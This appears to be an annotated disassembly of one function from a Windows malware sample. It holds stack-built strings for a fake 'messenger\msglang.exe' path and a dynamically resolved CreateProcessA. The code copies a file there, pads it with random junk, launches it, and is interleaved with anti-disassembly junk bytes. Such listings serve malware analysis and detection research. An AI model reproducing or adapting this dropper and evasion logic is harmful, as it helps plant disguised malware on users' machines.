Function at 0x407993
Capabilities:
Get file size
Read file on windows

Disassembly:
pop eax
pop eax
lea ecx, [ebp - 0x104]
push ecx
call dword [fcn.00401174]
mov byte [ebp - 0x130], 0x63
mov byte [ebp - 0x12f], 0x3a
mov byte [ebp - 0x12e], 0x5c
mov byte [ebp - 0x12d], 0x70
mov byte [ebp - 0x12c], 0x72
mov byte [ebp - 0x12b], 0x6f
mov byte [ebp - 0x12a], 0x67
mov byte [ebp - 0x129], 0x72
mov byte [ebp - 0x128], 0x61
mov byte [ebp - 0x127], 0x6d
mov byte [ebp - 0x126], 0x20
mov byte [ebp - 0x125], 0x66
mov byte [ebp - 0x124], 0x69
mov byte [ebp - 0x123], 0x6c
mov byte [ebp - 0x122], 0x65
mov byte [ebp - 0x121], 0x73
mov byte [ebp - 0x120], 0x5c
mov byte [ebp - 0x11f], 0x6d
mov byte [ebp - 0x11e], 0x65
mov byte [ebp - 0x11d], 0x73
mov byte [ebp - 0x11c], 0x73
mov byte [ebp - 0x11b], 0x65
mov byte [ebp - 0x11a], 0x6e
mov byte [ebp - 0x119], 0x67
mov byte [ebp - 0x118], 0x65
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0
cmp eax, eax
je 0x4077c9
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4077d1
in al, 0x1d
je 0x4077d9
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test esp, eax
invalid
jne 0xda0905
mov byte [ebp - 0x13c], 0x6d
mov byte [ebp - 0x13b], 0x73
mov byte [ebp - 0x13a], 0x67
mov byte [ebp - 0x139], 0x6c
mov byte [ebp - 0x138], 0x61
enter 0xfffffffffffffffe, 0xffffffffffffffff
popal
mov byte [ebp - 0x137], 0x6e
mov byte [ebp - 0x136], 0x67
mov byte [ebp - 0x135], 0x2e
mov byte [ebp - 0x134], 0x65
mov byte [ebp - 0x133], 0x78
mov byte [ebp - 0x132], 0x65
mov byte [ebp - 0x131], 0
jmp 0x40783b
push eax
call 0x407845
je 0x4078a9
jns 0x4077fd
pop eax
pop eax
mov byte [ebp - 0x1c8], 0x63
mov byte [ebp - 0x1c7], 0x3a
mov byte [ebp - 0x1c6], 0x5c
mov byte [ebp - 0x1c5], 0x70
mov byte [ebp - 0x1c4], 0x72
mov byte [ebp - 0x1c3], 0x6f
mov byte [ebp - 0x1c2], 0x67
mov byte [ebp - 0x1c1], 0x72
mov byte [ebp - 0x1c0], 0x61
mov byte [ebp - 0x1bf], 0x6d
mov byte [ebp - 0x1be], 0x20
mov byte [ebp - 0x1bd], 0x66
mov byte [ebp - 0x1bc], 0x69
mov byte [ebp - 0x1bb], 0x6c
mov byte [ebp - 0x1ba], 0x65
mov byte [ebp - 0x1b9], 0x73
mov byte [ebp - 0x1b8], 0x5c
mov byte [ebp - 0x1b7], 0x6d
mov byte [ebp - 0x1b6], 0x65
mov byte [ebp - 0x1b5], 0x73
mov byte [ebp - 0x1b4], 0x73
mov byte [ebp - 0x1b3], 0x65
mov byte [ebp - 0x1b2], 0x6e
mov byte [ebp - 0x1b1], 0x67
mov byte [ebp - 0x1b0], 0x65
mov byte [ebp - 0x1af], 0x72
mov byte [ebp - 0x1ae], 0x5c
mov byte [ebp - 0x1ad], 0x6d
mov byte [ebp - 0x1ac], 0x73
mov byte [ebp - 0x1ab], 0x67
mov byte [ebp - 0x1aa], 0x6c
mov byte [ebp - 0x1a9], 0x61
mov byte [ebp - 0x1a8], 0x6e
mov byte [ebp - 0x1a7], 0x67
mov byte [ebp - 0x1a6], 0x2e
mov byte [ebp - 0x1a5], 0x65
mov byte [ebp - 0x1a4], 0x78
mov byte [ebp - 0x1a3], 0x65
mov byte [ebp - 0x1a2], 0
lea edx, [ebp - 0x1c8]
push edx
call dword [fcn.00401174]
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x407e7d
test dword [ebp - 2], ebx
invalid
jmp 0x407989
push eax
call 0x407993
je 0x4079f7
jns 0x40794b
pop eax
pop eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x3f4], eax
push 0
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d4]
add ecx, 0x666
push es
add byte [eax], al
push ecx
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x3d8], eax
push 0
lea edx, [ebp - 0x3d4]
push edx
mov eax, dword [ebp - 0x3d4]
push eax
mov ecx, dword [ebp - 0x3d8]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x407a16
invalid
push eax
call 0x407a20
je 0x407a84
jns 0x4079d8
pop eax
pop eax
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, eax
je 0x407a3f
or al, 0xfc
invalid
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407a47
in al, 0x1d
je 0x407a4f
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add al, ch
sti
invalid
jne 0xda0b7b
call fcn.004075c0
jmp 0x407a62
push eax
call 0x407a6c
je 0x407ad0
jns 0x407a24
pop eax
pop eax
lea ecx, [ebp - 0x130]
push ecx
push 0x40165c
lea edx, [ebp - 0x3d0]
push edx
call dword [fcn.004010ac]
adc byte [eax], al
add esp, 0xc
cmp eax, eax
je 0x407a9a
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407aa2
in al, 0x1d
je 0x407aaa
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx], bh
ror byte [edi], 0x84
or byte [eax], al
add byte [eax], al
jne 0xda0bd6
cmp eax, eax
je 0x407ac0
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407ac8
in al, 0x1d
je 0x407ad0
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp - 0x13b7b], cl
call dword [eax + 0x68]
pop esp
push ss
inc eax
add byte [ebp - 0x15b73], cl
call dword [ecx - 1]
adc eax, fcn.004010ac
jne 0xda0bfc
lea eax, [ebp - 0x13c]
push eax
push 0x40165c
lea ecx, [ebp - 0x15c]
push ecx
call dword [fcn.004010ac]
add esp, 0xc
lea edx, [ebp - 0x1c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x3d4]
push eax
mov ecx, dword [ebp - 0x3d8]
push ecx
lea edx, [ebp - 0x15c]
push edx
lea eax, [ebp - 0x3d0]
push eax
call fcn.004064a0
add esp, 0x10
cmp eax, eax
je 0x407b33
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407b3b
in al, 0x1d
je 0x407b43
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetTickCount
jne 0xda0c6f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xffffff
add eax, 0x688888
mov dword [ebp - 0x3f0], eax
cmp eax, eax
je 0x407b6f
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407b77
in al, 0x1d
je 0x407b7f
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [eax], ch
add byte [eax], dl
add al, ch
out 0xd, eax
add byte [eax], al
jne 0xda0cab
push 0x100000
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x3ec], eax
cmp eax, eax
je 0x407ba8
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407bb0
in al, 0x1d
je 0x407bb8
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ecx + 0x24000], bh
jne 0xda0ce4
mov ecx, 0x24000
mov al, byte [ebp - 0x3f0]
mov edi, dword [ebp - 0x3ec]
mov dl, al
mov dh, dl
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c8]
push eax
push 0x40165c
lea ecx, [ebp - 0x3d0]
push ecx
call dword [fcn.004010ac]
add esp, 0xc
jmp 0x407c01
push eax
call 0x407c0b
je 0x407c6f
jns 0x407bc3
pop eax
pop eax
jmp 0x407c21
mov edx, dword [ebp - 0x3f0]
sub edx, 0x100000
mov dword [ebp - 0x3f0], edx
cmp dword [ebp - 0x3f0], 0
jle 0x407c49
push 0
push 0x90000
mov eax, dword [ebp - 0x3ec]
push eax
lea ecx, [ebp - 0x3d0]
push ecx
call fcn.004062b0
add esp, 0x10
jmp 0x407c0f
cmp eax, eax
je 0x407c59
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407c61
in al, 0x1d
je 0x407c69
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x3eb6b], cl
call dword [edx - 0x18]
cmc
or al, 0
add byte [ebx - 0x3fc4fb3c], al
jne 0xda0d95
mov edx, dword [ebp - 0x3ec]
push edx
call sub.MSVCRT.dll_free
add esp, 4
cmp eax, eax
je 0x407c8e
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407c96
in al, 0x1d
je 0x407c9e
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ecx + 0x11], bh
jne 0xda0dca
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x1a0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1a0], 0x44
cmp eax, eax
je 0x407ccd
into
mov esp, 0xc7daeea7
cmpsd dword [esi], dword es:[edi]
out dx, al
fcmovb st(0), st(7)
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407cd5
in al, 0x1d
je 0x407cdd
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx], dh
ror byte [ecx - 0x1137b], 0xff
jne 0xda0e09
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
jmp 0x407d05
push eax
call 0x407d0f
je 0x407d73
jns 0x407cc7
pop eax
pop eax
mov byte [ebp - 0x3e8], 0x4b
mov byte [ebp - 0x3e7], 0x65
mov byte [ebp - 0x3e6], 0x72
mov byte [ebp - 0x3e5], 0x4e
mov byte [ebp - 0x3e4], 0x65
mov byte [ebp - 0x3e3], 0x6c
mov byte [ebp - 0x3e2], 0x33
mov byte [ebp - 0x3e1], 0x32
mov byte [ebp - 0x3e0], 0x2e
mov byte [ebp - 0x3df], 0x64
mov byte [ebp - 0x3de], 0x6c
mov byte [ebp - 0x3dd], 0x6c
mov byte [ebp - 0x3dc], 0
xor ecx, ecx
mov word [ebp - 0x3db], cx
mov byte [ebp - 0x3d9], cl
mov byte [ebp - 0x414], 0x43
mov byte [ebp - 0x413], 0x72
mov byte [ebp - 0x412], 0x65
mov byte [ebp - 0x411], 0x61
mov byte [ebp - 0x410], 0x74
mov byte [ebp - 0x40f], 0x65
mov byte [ebp - 0x40e], 0x50
mov byte [ebp - 0x40d], 0x72
mov byte [ebp - 0x40c], 0x6f
mov byte [ebp - 0x40b], 0x63
mov byte [ebp - 0x40a], 0x65
mov byte [ebp - 0x409], 0x73
mov byte [ebp - 0x408], 0x73
mov byte [ebp - 0x407], 0x41
mov byte [ebp - 0x406], 0
xor edx, edx
mov dword [ebp - 0x405], edx
mov dword [ebp - 0x401], edx
mov dword [ebp - 0x3fd], edx
mov dword [ebp - 0x3f9], edx
mov byte [ebp - 0x3f5], dl
call fcn.00406410
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1a0]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x3d0]
push edx
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call main
call eax
jmp 0x407e50
invalid
pushal
invalid
cld
invalid
push eax
call 0x407e5a
je 0x407ebe
jns 0x407e12
pop eax
pop eax
jmp 0x407e64
push eax
call 0x407e6e
je 0x407ed2
jns 0x407e26
pop eax
pop eax
call fcn.00406c60
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
add dh, cl